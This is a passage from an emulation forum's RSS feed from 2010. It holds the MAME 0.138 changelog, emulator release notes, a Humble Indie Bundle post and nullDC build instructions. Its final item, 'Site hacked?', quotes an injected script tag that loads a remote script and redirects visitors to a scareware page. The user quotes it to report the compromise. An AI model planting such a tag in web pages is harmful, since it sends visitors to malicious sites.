fixed ROM names of tp84a (tp84 needs confirmation) [Team Japump]<br />
<br />
Fixed hunchbkg ports. [Couriersud]<br />
<br />
sprtmtch: Added Intermissions dipswitch [David Bain]<br />
<br />
Fixed coinage of desertbr [yasuhiro]<br />
<br />
Fixed ROM labels for Pac-Land, Scramble Egg, and Straight Flush<br />
[Team Japump]<br />
<br />
<br />
<br />
New games added or promoted from NOT_WORKING status<br />
---------------------------------------------------<br />
New Lucky 8 Lines / New Super 8 Lines (F-5, Witch Bonus)<br />
  [Roberto Fresca, incog, Smitdogg, The Dumping Union]<br />
International Team Laser (prototype)<br />
  [ranger_lennier, genieta1, J. Ferneborg, Smitdogg, italie, <br />
   David Haywood, The Dumping Union]<br />
<br />
<br />
<br />
New clones added<br />
----------------<br />
Desert Breaker (Japan) [Team Japump, Dumping Union]<br />
Youma Ninpouchou (Japan, alt) [Takahiro Nogi]<br />
Armed F (Japan) [Takahiro Nogi]<br />
Champion Baseball II (Japan, not working) [Takahiro Nogi]<br />
Wing War (Japan) [Team Japump, The Dumping Union]<br />
Street Fighter EX 2 (HISPANIC 980312)<br />
  [Layne, J. Bijl, Smitdogg, The Dumping Union]<br />
Giga Wing (Hispanic 990222)<br />
  [dopefishjustin, A. Hoekman, Smitdogg, David Haywood, The Dumping Union]<br />
Street Fighter Alpha 3 (Hispanic 980629)<br />
  [dopefishjustin, Smitdogg, David Haywood, The Dumping Union]<br />
Eco Fighters (Hispanic 931203)<br />
  [Kevin Eshbach, wild eyed, Smitdogg, David Haywood, The Dumping Union]<br />
X-Men: Children of the Atom (Hispanic 950105)<br />
  [ranger_lennier, tormod, Smitdogg, The Dumping Union]<br />
Dungeons &amp; Dragons: Tower of Doom (Hispanic 940113)<br />
  [Kevin Eshbach, Layne, Gor, blokey, Smitdogg, The Dumping Union]<br />
Pac-land (Japan, older) [Team Japump]<br />
Photo Y2K (ver. 105) [XingXing]<br />
<br />
<br />
<br />
New games marked as GAME_NOT_WORKING<br />
------------------------------------<br />
Taiko no Tatsujin 10 (T101001-NA-A) [Guru]<br />
Dragon World 3 EX (ver. 100) [Guru]<br />
Dragon World 2001 [Guru]<br />
Royal Queen<br />
  [Hikari, Spyder, S. S. Neilson, Smitdogg, The Dumping Union]<br />
Chance Kun [ranger_lennier, incog, Smitdogg, The Dumping Union]<br />
Photo Y2K 2 [Guru]</blockquote>
<br />
Site @ <a href="http://mamedev.org/" target="_blank">http://mamedev.org/</a>]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite>0.138<br />
-----<br />
<br />
<br />
MAMETesters Bugs Fixed<br />
----------------------<br />
- 03683: [Crash/Freeze] topgunnr: Crashes MAME after INSERT COIN/GAME <br />
         START (hap)<br />
- 02878: [Speed] simpsons and clones: Vertical refresh rate (hap)<br />
- 03273: [Original Reference] brubber, bnj, caractn: Incorrect screen <br />
         resolution for Burnin' Rubber and clones (hap)<br />
- 03492: [Crash/Freeze] hunchbkg: Does not boot (couriersud)<br />
- 03657: [Crash/Freeze] All sets in maxaflex.c: Random crashes <br />
         (Firewave)<br />
- 03765: [Crash/Freeze] qdrmfgp2: ASSERT after OK (hap)<br />
- 03823: [Color/Palette] pc_miket: Bad colours (Alex Jackson)<br />
- 03047: [Graphics] elevator, elevatorb: Some graphics on the <br />
         escalators shift when you ride on them (hap)<br />
- 03628: [Graphics] alpine: Red point on the title screen (M.A.S.H.)<br />
- 03033: [Graphics] vendetta: Sprite priority problem in the 3rd <br />
         stage (hap)<br />
- 03647: [Graphics] All games in vendetta.c: Graphical error in the <br />
         intro scene of the game. (hap)<br />
- 03834: [Sound] qtheater: No sound (hap)<br />
- 03830: [Crash/Freeze] All sets in harddriv.c: Message: Duplicate <br />
         save state registration entry (DSP32C/dsp32/0/cpustate-&gt;pin) <br />
         (Tafoid)<br />
- 00390: [DIP/Input] spaceftr: does not allow you to turn to the <br />
         right. (hap)<br />
<br />
<br />
<br />
Source Changes<br />
--------------<br />
New Lucky 8 Lines hardware: [Roberto Fresca]<br />
 * Added lamps support to lucky8, lucky8a, lucky8b, ns8liner, ns8linew<br />
    and kkojnoli.<br />
 * Created lamps layout for the above sets.<br />
 * New inputs for ns8linew. This set has a second set of inputs, and<br />
    can be switched between them. No lamps activity or Big/Small<br />
    buttons are present while this alternative controls are used.<br />
    Maybe is a leftover.<br />
 * Some DIP switches were figured out. Coinage and limits are still a<br />
    real mystery since all DIP switches are reflected in the test<br />
    mode.<br />
 * Remapped inputs to be straightforward with the control panel.<br />
 * Added the type (W-4/F-5) to the sets description.<br />
 * General inputs clean-up.<br />
<br />
suna8.c: Updated documentation for Strike Fighter to include the game<br />
number, PCB number and epoxy CPU [Fabrizio Vasile]<br />
<br />
Jaguar: fixed RGB VARMOD mode [Angelo Salese]<br />
<br />
namcops2: add DVD image for taiko10 [Guru]<br />
<br />
Added DIP Locations for all games in the jack.c driver.  Changed<br />
copyright on joinem to match displayed year.  [Tafoid]<br />
<br />
More cleanup of the lpc tables; Replaced tms5220C pitch table with the<br />
tms5220 one as that one is more likely to be correct. [Lord Nightmare]<br />
<br />
Add 'Unrealistically Perfect Interpolation' debug mode; Fix a<br />
potential issue with 16 bit overflow in the lattice filter; Made idle<br />
state emulation more accurate to real chip; Clean out variables before<br />
VSM speech starts; Mask out low 4 bits of 14 bit lattice result before<br />
output. [Lord Nightmare]<br />
<br />
Fix a mistake in the interpolation logic, it should now properly delay<br />
interpolation until the final cycle of each frame when INHIBIT is set.<br />
[Lord Nightmare]<br />
<br />
tms5220: Remove unnecessary interpolation code; Add extra check to<br />
make unvoiced mode trigger at the correct sample. [Lord Nightmare]<br />
<br />
Fixed up tms52xx clip/wrap function arrangement to be much more sane,<br />
and properly handled range extension. [Lord Nightmare]<br />
<br />
Made tms5220 DEBUG_GENERATION more useful and simplified the code in<br />
the process. [Lord Nightmare]<br />
<br />
lib/util/cdrom.c: Fixed stack corruption in CHD code<br />
[Oliver Stoeneberg]<br />
<br />
Implemented default EEPROMs for GTIClub, Hang Pilot, Asterix, X-Men<br />
and Polygonet Commanders [David Haywood]<br />
<br />
Fixed the texture ROM loading/order in Wave Shark.  Textures look<br />
better now, and the ROM check passes [David Haywood]<br />
<br />
Fix for Target Hits missing sound. [Tafoid]<br />
<br />
fspiderb: Added projectiles, game is playable now [hap]<br />
<br />
General cleanup of PGM code [David Haywood]<br />
<br />
Removed ROM Patch in Killing Blade and replaced with correct IGS025<br />
return sequence fo China region (other sequences still unknown)<br />
[XingXing]<br />
<br />
pengadvb: Improved inputs, the game can now be coined up. It magically<br />
has sound too now. [hap]<br />
<br />
S2650_SENSE_PORT is now active when data written is != 0 and inactive<br />
when data == 0. It now acts as a line in a mame-sense. [Couriersud]<br />
<br />
btime: Background vertical offset was off by one pixel, burger parts<br />
positions are correct now. This also means Peter Pepper awkwardly<br />
walks in the air, which is the way it is on the PCB. [hap]<br />
<br />
fixed ROM names of tp84a (tp84 needs confirmation) [Team Japump]<br />
<br />
Fixed hunchbkg ports. [Couriersud]<br />
<br />
sprtmtch: Added Intermissions dipswitch [David Bain]<br />
<br />
Fixed coinage of desertbr [yasuhiro]<br />
<br />
Fixed ROM labels for Pac-Land, Scramble Egg, and Straight Flush<br />
[Team Japump]<br />
<br />
<br />
<br />
New games added or promoted from NOT_WORKING status<br />
---------------------------------------------------<br />
New Lucky 8 Lines / New Super 8 Lines (F-5, Witch Bonus)<br />
  [Roberto Fresca, incog, Smitdogg, The Dumping Union]<br />
International Team Laser (prototype)<br />
  [ranger_lennier, genieta1, J. Ferneborg, Smitdogg, italie, <br />
   David Haywood, The Dumping Union]<br />
<br />
<br />
<br />
New clones added<br />
----------------<br />
Desert Breaker (Japan) [Team Japump, Dumping Union]<br />
Youma Ninpouchou (Japan, alt) [Takahiro Nogi]<br />
Armed F (Japan) [Takahiro Nogi]<br />
Champion Baseball II (Japan, not working) [Takahiro Nogi]<br />
Wing War (Japan) [Team Japump, The Dumping Union]<br />
Street Fighter EX 2 (HISPANIC 980312)<br />
  [Layne, J. Bijl, Smitdogg, The Dumping Union]<br />
Giga Wing (Hispanic 990222)<br />
  [dopefishjustin, A. Hoekman, Smitdogg, David Haywood, The Dumping Union]<br />
Street Fighter Alpha 3 (Hispanic 980629)<br />
  [dopefishjustin, Smitdogg, David Haywood, The Dumping Union]<br />
Eco Fighters (Hispanic 931203)<br />
  [Kevin Eshbach, wild eyed, Smitdogg, David Haywood, The Dumping Union]<br />
X-Men: Children of the Atom (Hispanic 950105)<br />
  [ranger_lennier, tormod, Smitdogg, The Dumping Union]<br />
Dungeons &amp; Dragons: Tower of Doom (Hispanic 940113)<br />
  [Kevin Eshbach, Layne, Gor, blokey, Smitdogg, The Dumping Union]<br />
Pac-land (Japan, older) [Team Japump]<br />
Photo Y2K (ver. 105) [XingXing]<br />
<br />
<br />
<br />
New games marked as GAME_NOT_WORKING<br />
------------------------------------<br />
Taiko no Tatsujin 10 (T101001-NA-A) [Guru]<br />
Dragon World 3 EX (ver. 100) [Guru]<br />
Dragon World 2001 [Guru]<br />
Royal Queen<br />
  [Hikari, Spyder, S. S. Neilson, Smitdogg, The Dumping Union]<br />
Chance Kun [ranger_lennier, incog, Smitdogg, The Dumping Union]<br />
Photo Y2K 2 [Guru]</blockquote>
<br />
Site @ <a href="http://mamedev.org/" target="_blank">http://mamedev.org/</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[GameEX 10.78 released]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3802</link>
			<pubDate>Sat, 15 May 2010 13:33:39 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3802</guid>
			<description><![CDATA[An update has been released for <span style="font-style: italic;">GameEX</span>.<br />
<blockquote><cite>Quote:</cite>15th May, 2010 - GameEx 10.78<br />
Fixes font being cut off when outlined.<br />
Fixes startup crash when using background videos with latest Codec packs.<br />
A few optimizations.<br />
Themes with single backgrounds (AdvancedGfx=False) working again.</blockquote>
<br />
<a href="http://www.gameex.net/" target="_blank">Project home</a><br />
Get it <a href="http://www.gameex.net/Download.aspx" target="_blank">here</a>]]></description>
			<content:encoded><![CDATA[An update has been released for <span style="font-style: italic;">GameEX</span>.<br />
<blockquote><cite>Quote:</cite>15th May, 2010 - GameEx 10.78<br />
Fixes font being cut off when outlined.<br />
Fixes startup crash when using background videos with latest Codec packs.<br />
A few optimizations.<br />
Themes with single backgrounds (AdvancedGfx=False) working again.</blockquote>
<br />
<a href="http://www.gameex.net/" target="_blank">Project home</a><br />
Get it <a href="http://www.gameex.net/Download.aspx" target="_blank">here</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Adobe loves Apple, and Apple responds]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3801</link>
			<pubDate>Sat, 15 May 2010 13:26:41 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3801</guid>
			<description><![CDATA[The squabbles regarding the iPad platform, Flash and HTML5 seem to have been turning sillier with every passing day. Adobe released an ad campaign to diss Apple, claiming Flash is choice and the open standards  backed by Apple are an industry-dooming travesty.<br />
<br />
*quick unrelated cue at Flash ads versus vendor-specific hosted advertising platforms like the one used on iPad*<br />
<br />
<blockquote><cite>Quote:</cite>Every now and then, you come across things that make the internet worthwhile. So yeah, there's this whole genitalia length comparing competition going on between Adobe and Apple, where both companies are actually arguing, with straight faces, which of the two is more open (which to me comes across as Mario and Zelda arguing over who's less of a sell-out). Luckily, though, there's the internet to <a href="http://www.zeldman.com/2010/05/14/apple-responds/" target="_blank">make us laugh</a>.</blockquote>
<br />
Source: <a href="http://www.osnews.com/story/23296/Apple_Responds_to_Adobe_s_Ad_Campaign" target="_blank">OSnews</a>]]></description>
			<content:encoded><![CDATA[The squabbles regarding the iPad platform, Flash and HTML5 seem to have been turning sillier with every passing day. Adobe released an ad campaign to diss Apple, claiming Flash is choice and the open standards  backed by Apple are an industry-dooming travesty.<br />
<br />
*quick unrelated cue at Flash ads versus vendor-specific hosted advertising platforms like the one used on iPad*<br />
<br />
<blockquote><cite>Quote:</cite>Every now and then, you come across things that make the internet worthwhile. So yeah, there's this whole genitalia length comparing competition going on between Adobe and Apple, where both companies are actually arguing, with straight faces, which of the two is more open (which to me comes across as Mario and Zelda arguing over who's less of a sell-out). Luckily, though, there's the internet to <a href="http://www.zeldman.com/2010/05/14/apple-responds/" target="_blank">make us laugh</a>.</blockquote>
<br />
Source: <a href="http://www.osnews.com/story/23296/Apple_Responds_to_Adobe_s_Ad_Campaign" target="_blank">OSnews</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Ootake 2.41 released!]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3800</link>
			<pubDate>Thu, 13 May 2010 17:40:50 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3800</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite>2010/05/13 2.41 released<br />
  - The entire volume balance has been adjusted.<br />
  - The speed and timing were brought close to the movement of a real machine.<br />
    In the start demo of "City Hunter", the problem that the lower side of the<br />
    screen has fallen into disorder by one frame (generated by v2.40) was<br />
    solved. I think that the timing has approached a real machine in even<br />
    other games.<br />
  - "Force V-Sync (All Hz)" was added to "Setting-&gt;Screen" menu. When the<br />
    check is put in here, the V-Sync setting is permitted regardless of the PC<br />
    display environment. Use it with an old video card etc.<br />
  - Additionally, a detailed part has been improved and corrected.<br />
  + The execution file for "Windows 98/Me" was opened to the public. The<br />
    operation test is not done. Please see "Readme98.txt" in the ZIP file<br />
    about details and notes, etc.<br />
    <a href="http://www.ouma.jp/file/Ootake241-for98.zip" target="_blank">http://www.ouma.jp/file/Ootake241-for98.zip</a></blockquote>
<br />
Site @ <a href="http://www.ouma.jp/ootake/" target="_blank">http://www.ouma.jp/ootake/</a>]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite>2010/05/13 2.41 released<br />
  - The entire volume balance has been adjusted.<br />
  - The speed and timing were brought close to the movement of a real machine.<br />
    In the start demo of "City Hunter", the problem that the lower side of the<br />
    screen has fallen into disorder by one frame (generated by v2.40) was<br />
    solved. I think that the timing has approached a real machine in even<br />
    other games.<br />
  - "Force V-Sync (All Hz)" was added to "Setting-&gt;Screen" menu. When the<br />
    check is put in here, the V-Sync setting is permitted regardless of the PC<br />
    display environment. Use it with an old video card etc.<br />
  - Additionally, a detailed part has been improved and corrected.<br />
  + The execution file for "Windows 98/Me" was opened to the public. The<br />
    operation test is not done. Please see "Readme98.txt" in the ZIP file<br />
    about details and notes, etc.<br />
    <a href="http://www.ouma.jp/file/Ootake241-for98.zip" target="_blank">http://www.ouma.jp/file/Ootake241-for98.zip</a></blockquote>
<br />
Site @ <a href="http://www.ouma.jp/ootake/" target="_blank">http://www.ouma.jp/ootake/</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Humble Indie Bundle]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3799</link>
			<pubDate>Tue, 11 May 2010 18:07:53 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3799</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite>he Humble Indie Bundle is a unique kind of bundle that we are trying out.<br />
<br />
Pay what you want. If you bought these five games separately, it would cost around &#36;80 but we're letting you set the price!<br />
<br />
All of the games work great on Mac, Windows, and Linux. We didn't want to leave anyone out.<br />
<br />
There is no middle-man. You can rest assured that 100% of your purchase goes directly to the developers and non-profits as you specify (minus credit card fees).<br />
<br />
We don't use DRM. When you buy these games, they are yours. Feel free to play them without an internet connection, back them up, and install them on all of your Macs and PCs freely.<br />
<br />
Your contribution supports the amazing Child's Play charity and Electronic Frontier Foundation. By default, the amount is split equally between the seven participants (including Child's Play and EFF), but you can tweak the split any way you'd like.<br />
And now, thanks to a humble donation from Amanita Design: all contributors are given a free copy of Samorost 2! </blockquote>
<br />
Source: <a href="http://www.wolfire.com/humble" target="_blank">http://www.wolfire.com/humble</a><br />
<br />
That's right, you can get five popular indie games that are completely DRM free and pay what you want (&#36;80 value), not a bad deal for those looking to have some fun a bit cheaper.<br />
<br />
Right now I paid &#36;5.75 but I plan on paying more later when I have more money to contribute. This deal is too good to pass up, you'll be directly contributing to charities and developers in the process and get five awesome games in return. <img src="http://www.generalemu.net/forums/images/smilies/biggrin.gif" style="vertical-align: middle;" border="0" alt="Grin" title="Grin" />]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite>he Humble Indie Bundle is a unique kind of bundle that we are trying out.<br />
<br />
Pay what you want. If you bought these five games separately, it would cost around &#36;80 but we're letting you set the price!<br />
<br />
All of the games work great on Mac, Windows, and Linux. We didn't want to leave anyone out.<br />
<br />
There is no middle-man. You can rest assured that 100% of your purchase goes directly to the developers and non-profits as you specify (minus credit card fees).<br />
<br />
We don't use DRM. When you buy these games, they are yours. Feel free to play them without an internet connection, back them up, and install them on all of your Macs and PCs freely.<br />
<br />
Your contribution supports the amazing Child's Play charity and Electronic Frontier Foundation. By default, the amount is split equally between the seven participants (including Child's Play and EFF), but you can tweak the split any way you'd like.<br />
And now, thanks to a humble donation from Amanita Design: all contributors are given a free copy of Samorost 2! </blockquote>
<br />
Source: <a href="http://www.wolfire.com/humble" target="_blank">http://www.wolfire.com/humble</a><br />
<br />
That's right, you can get five popular indie games that are completely DRM free and pay what you want (&#36;80 value), not a bad deal for those looking to have some fun a bit cheaper.<br />
<br />
Right now I paid &#36;5.75 but I plan on paying more later when I have more money to contribute. This deal is too good to pass up, you'll be directly contributing to charities and developers in the process and get five awesome games in return. <img src="http://www.generalemu.net/forums/images/smilies/biggrin.gif" style="vertical-align: middle;" border="0" alt="Grin" title="Grin" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[nullDC: compiling &#x26; running]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3798</link>
			<pubDate>Sun, 09 May 2010 07:56:44 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3798</guid>
			<description><![CDATA[With nullDC having been opensourced, instructions have been posted for compiling the source.<br />
Instructions follow, by Psyman<br />
<a href="http://forums.ngemu.com/nulldc-discussion/134973-nulldc-compiling-running-guidelines.html" target="_blank">http://forums.ngemu.com/nulldc-discussio...lines.html</a><br />
<br />
<br />
<br />
In case you want to build the emu (eww), here is some info to make your lives easier:<br />
<br />
You're gonna need Visual Studio .NET 2008 (NOT the express version!) to build the project.<br />
Visual Studio .NET 2010 (NOT the express version!) will also work but it might do weird stuff, so I would not recommend it if you're not sure what you're doing.<br />
<br />
A recent version of the DirectX 9.0c SDK is also required to build most stuff.<br />
<a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=2c7da5fb-ffbb-4af6-8c66-651cbd28ca15&amp;displaylang=en" target="_blank">You can get it from here</a>.<br />
<br />
nullAICA uses optional sound streaming through the SDL development library so you'll need it to build with SDL support. SDL support will also have to be defined in the nullAICA source code.<br />
<a href="http://www.libsdl.org/" target="_blank">You can get SDL from here</a> but I'm not sure if the plugin builds with this specific version.<br />
Note: Sound streaming through SDL is probably broken anyway.<br />
<br />
If you want to build the emulator with MMU support you have to define MMU support. This should be placed in "types.h" (last time I checked, it was already there but commented out).<br />
<br />
If you want to build a NAOMI, ATOMISWAVE, etc. version you should define which version you want in "plugin_types.h". The default definition is DC_PLATFORM_NORMAL (the definition is placed after the list with the available versions).<br />
<br />
drkMapleDevices comes with optional support for the LCD screen of some Logitech keyboards (G15).<br />
You've got to to define LCD support in "drkMapleDevices.cpp" for it to work. The LCD SDK is also needed to build the plugin that way.<br />
I attached the SDK version I used in this post.<br />
<br />
Last time I checked, nullExtDev needed the WinPcap library to build.<br />
<a href="http://www.winpcap.org/" target="_blank">You can get WinPcap from here</a>.<br />
<br />
<br />
That's all about compiling I think, unless I forgot something.<br />
If something does not build, check if you have and pointed to all the needed libs.<br />
<br />
<br />
--------------------------------------------------<br />
<br />
<br />
Now, if you want to run the emulator (ewww):<br />
<br />
Be sure you have the same Visual C++ Runtimes and DirectX 9.0c versions that were used to compile the emulator and/or the plugins. If VS .NET 2008 and the latest DirectX 9.0c SDK were used they should be those two:<br />
<a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9b2da534-3e03-4391-8a4d-074b9f2bc1bf&amp;displaylang=en" target="_blank">Download details: Visual C++ 2008 Redistributable Package (x86)</a><br />
<a href="http://www.microsoft.com/downloads/details.aspx?displaylang=en&amp;FamilyID=0cef8180-e94a-4f56-b157-5ab8109cb4f5" target="_blank">Download details: DirectX Redist (February 2010)</a><br />
<br />
The same rule applies to  SDL, WinPcap and the Logitech thing. If you miss the compiled libraries of those and the plugins/emulator were compiled with those development libraries, their features will either not work, or the emulator will not work at all.<br />
<br />
ImgReader uses the .CDI File Mounter (pfctoc.dll) from Padus to mount .cdi images. Those images will not work without it. You should get it and place it in the plugins directory of the emulator (where ImgReader_Win32.dll is placed).<br />
<a href="http://www.padus.com/downloads/cdi.php" target="_blank">You can get the .CDI File Mounter from here</a>.]]></description>
			<content:encoded><![CDATA[With nullDC having been opensourced, instructions have been posted for compiling the source.<br />
Instructions follow, by Psyman<br />
<a href="http://forums.ngemu.com/nulldc-discussion/134973-nulldc-compiling-running-guidelines.html" target="_blank">http://forums.ngemu.com/nulldc-discussio...lines.html</a><br />
<br />
<br />
<br />
In case you want to build the emu (eww), here is some info to make your lives easier:<br />
<br />
You're gonna need Visual Studio .NET 2008 (NOT the express version!) to build the project.<br />
Visual Studio .NET 2010 (NOT the express version!) will also work but it might do weird stuff, so I would not recommend it if you're not sure what you're doing.<br />
<br />
A recent version of the DirectX 9.0c SDK is also required to build most stuff.<br />
<a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=2c7da5fb-ffbb-4af6-8c66-651cbd28ca15&amp;displaylang=en" target="_blank">You can get it from here</a>.<br />
<br />
nullAICA uses optional sound streaming through the SDL development library so you'll need it to build with SDL support. SDL support will also have to be defined in the nullAICA source code.<br />
<a href="http://www.libsdl.org/" target="_blank">You can get SDL from here</a> but I'm not sure if the plugin builds with this specific version.<br />
Note: Sound streaming through SDL is probably broken anyway.<br />
<br />
If you want to build the emulator with MMU support you have to define MMU support. This should be placed in "types.h" (last time I checked, it was already there but commented out).<br />
<br />
If you want to build a NAOMI, ATOMISWAVE, etc. version you should define which version you want in "plugin_types.h". The default definition is DC_PLATFORM_NORMAL (the definition is placed after the list with the available versions).<br />
<br />
drkMapleDevices comes with optional support for the LCD screen of some Logitech keyboards (G15).<br />
You've got to to define LCD support in "drkMapleDevices.cpp" for it to work. The LCD SDK is also needed to build the plugin that way.<br />
I attached the SDK version I used in this post.<br />
<br />
Last time I checked, nullExtDev needed the WinPcap library to build.<br />
<a href="http://www.winpcap.org/" target="_blank">You can get WinPcap from here</a>.<br />
<br />
<br />
That's all about compiling I think, unless I forgot something.<br />
If something does not build, check if you have and pointed to all the needed libs.<br />
<br />
<br />
--------------------------------------------------<br />
<br />
<br />
Now, if you want to run the emulator (ewww):<br />
<br />
Be sure you have the same Visual C++ Runtimes and DirectX 9.0c versions that were used to compile the emulator and/or the plugins. If VS .NET 2008 and the latest DirectX 9.0c SDK were used they should be those two:<br />
<a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9b2da534-3e03-4391-8a4d-074b9f2bc1bf&amp;displaylang=en" target="_blank">Download details: Visual C++ 2008 Redistributable Package (x86)</a><br />
<a href="http://www.microsoft.com/downloads/details.aspx?displaylang=en&amp;FamilyID=0cef8180-e94a-4f56-b157-5ab8109cb4f5" target="_blank">Download details: DirectX Redist (February 2010)</a><br />
<br />
The same rule applies to  SDL, WinPcap and the Logitech thing. If you miss the compiled libraries of those and the plugins/emulator were compiled with those development libraries, their features will either not work, or the emulator will not work at all.<br />
<br />
ImgReader uses the .CDI File Mounter (pfctoc.dll) from Padus to mount .cdi images. Those images will not work without it. You should get it and place it in the plugins directory of the emulator (where ImgReader_Win32.dll is placed).<br />
<a href="http://www.padus.com/downloads/cdi.php" target="_blank">You can get the .CDI File Mounter from here</a>.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[nullDC went opensource!]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3797</link>
			<pubDate>Sat, 08 May 2010 23:27:46 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3797</guid>
			<description><![CDATA[The popular Dreamcast emulator nullDC went opensource. Hopefully this should spell more activity for the project.<br />
<br />
Repository can be found here<br />
<a href="http://code.google.com/p/nulldc/" target="_blank">http://code.google.com/p/nulldc/</a><br />
<br />
Source (original announcement)<br />
<br />
<blockquote><cite>Quote:</cite>Originally Posted by drk||raziel<br />
**** PLEASE NOTE ****<br />
The source is old. Most of it dates back to 2006, with large parts from 2005 or 2004. There are MANY typos all over the place. There is no uniform coding style (nullDC was my first project using C/C++, and it began as a C# project)<br />
<br />
Most of the code is written by me, parts of it are written by ZeZu, and maby others (?). Psyman was our main tester during all these years (With various others joining for short time periods) and he's slowly getting into editing the source to fix bugs ( as i no longer do it myself).<br />
<br />
Yes, the code is ugly, hacky, buggy and often just plain wrong -- but still better than not released, righty ?<br />
<br />
I hope this is as much help to others as it has been to me<br />
<br />
-- raz</blockquote>
]]></description>
			<content:encoded><![CDATA[The popular Dreamcast emulator nullDC went opensource. Hopefully this should spell more activity for the project.<br />
<br />
Repository can be found here<br />
<a href="http://code.google.com/p/nulldc/" target="_blank">http://code.google.com/p/nulldc/</a><br />
<br />
Source (original announcement)<br />
<br />
<blockquote><cite>Quote:</cite>Originally Posted by drk||raziel<br />
**** PLEASE NOTE ****<br />
The source is old. Most of it dates back to 2006, with large parts from 2005 or 2004. There are MANY typos all over the place. There is no uniform coding style (nullDC was my first project using C/C++, and it began as a C# project)<br />
<br />
Most of the code is written by me, parts of it are written by ZeZu, and maby others (?). Psyman was our main tester during all these years (With various others joining for short time periods) and he's slowly getting into editing the source to fix bugs ( as i no longer do it myself).<br />
<br />
Yes, the code is ugly, hacky, buggy and often just plain wrong -- but still better than not released, righty ?<br />
<br />
I hope this is as much help to others as it has been to me<br />
<br />
-- raz</blockquote>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Site hacked?]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3796</link>
			<pubDate>Sat, 08 May 2010 16:32:14 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3796</guid>
			<description><![CDATA[Today when I tried to visit here, all I got was a message from some site i'd never heard of saying to click this button to have my pc checked. So I blocked that site, then tried again. This time it redirected to another site which I had blocked in the past.<br />
<br />
I used IE6's ability to turn off redirections, checked the page source, and found the culprit:<br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;script src="http://indesignstudioinfo.com/ls.php"&gt;&lt;/script&gt;</code></div></div>
<br />
at the bottom of the code.<br />
<br />
I blocked this, and no more problems. So, any reason why it should be there?]]></description>
			<content:encoded><![CDATA[Today when I tried to visit here, all I got was a message from some site i'd never heard of saying to click this button to have my pc checked. So I blocked that site, then tried again. This time it redirected to another site which I had blocked in the past.<br />
<br />
I used IE6's ability to turn off redirections, checked the page source, and found the culprit:<br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;script src="http://indesignstudioinfo.com/ls.php"&gt;&lt;/script&gt;</code></div></div>
<br />
at the bottom of the code.<br />
<br />
I blocked this, and no more problems. So, any reason why it should be there?]]></content:encoded>
		</item>
	</channel>
</rss>